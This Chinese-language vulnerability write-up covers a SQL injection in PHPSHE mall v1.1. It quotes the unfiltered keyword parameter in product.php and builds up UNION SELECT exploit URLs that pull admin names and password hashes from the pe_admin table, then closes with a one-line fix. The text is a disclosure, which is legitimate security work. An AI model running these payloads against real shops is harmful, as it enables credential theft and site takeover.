PHPSHE商城系统集合了众多的功能,并提供了简易的操作、实用的功能,快速让用户建立独立个性化的网上商店,为用户提供了一个低成本、高效率的网上商城建设方案。 但在其 v1.1版本中,程序对参数过滤不严,存在sql注入漏洞 module/index/product.php ``` ...82行 case 'list': $category_id = intval($id); $info = $db->pe_select('category', array('category_id'=>$category_id)); //搜索 $sqlwhere = " and `product_state` = 1"; pe_lead('hook/category.hook.php'); if ($category_id) { $sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'"; } $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //从get中获取的数据,直接就拼接sql语句了 if ($_g_orderby) { $orderby = explode('_', $_g_orderby); $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}"; } else { $sqlwhere .= " order by `product_id` desc"; } $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page)); ``` 以get方式传的值,直接赋给了$_g_keyword,而没有进行任何的过滤。这就导致了 sql注入的可能。 随便搜索个,然后我们在sql查询历史里分析下sql语句,进而构造我们的代码:...
PHPSHE商城系统集合了众多的功能,并提供了简易的操作、实用的功能,快速让用户建立独立个性化的网上商店,为用户提供了一个低成本、高效率的网上商城建设方案。 但在其 v1.1版本中,程序对参数过滤不严,存在sql注入漏洞 module/index/product.php ``` ...82行 case 'list': $category_id = intval($id); $info = $db->pe_select('category', array('category_id'=>$category_id)); //搜索 $sqlwhere = " and `product_state` = 1"; pe_lead('hook/category.hook.php'); if ($category_id) { $sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'"; } $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //从get中获取的数据,直接就拼接sql语句了 if ($_g_orderby) { $orderby = explode('_', $_g_orderby); $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}"; } else { $sqlwhere .= " order by `product_id` desc"; } $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page)); ``` 以get方式传的值,直接赋给了$_g_keyword,而没有进行任何的过滤。这就导致了 sql注入的可能。 随便搜索个,然后我们在sql查询历史里分析下sql语句,进而构造我们的代码:   %123%这个位置,我们是可以控制的。 去数据库看了下,pe_product有19个字段,所以我们union 联合查询,也需要写19个字段。 ``` union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin ``` 同时,我们还需要将我们sql语句后面的无关语句注释掉。 ``` union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a ``` (需要再给-- 后加上一个任意字符,以此表示整体为一行,这样才能成功地把后面的语句注释掉) ``` http://192.168.227.129/product/list?keyword=-123'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a ``` 我们来看看哪个字段可以用于显示(给123加上-,以此屏蔽掉无关信息)  ok,第二个字段可以用于显示。 最终的exp: ``` http://192.168.227.129/product/list?keyword=-123'union select 1,admin_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a ``` ``` http://192.168.227.129/product/list?keyword=-123'union select 1,admin_pw,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a ``` 漏洞证明:   phpshev1.1源码: http://www.onlinedown.net/softdown/435685_2.htm 漏洞解决方案: 变量进入sql语句之前,要进行过滤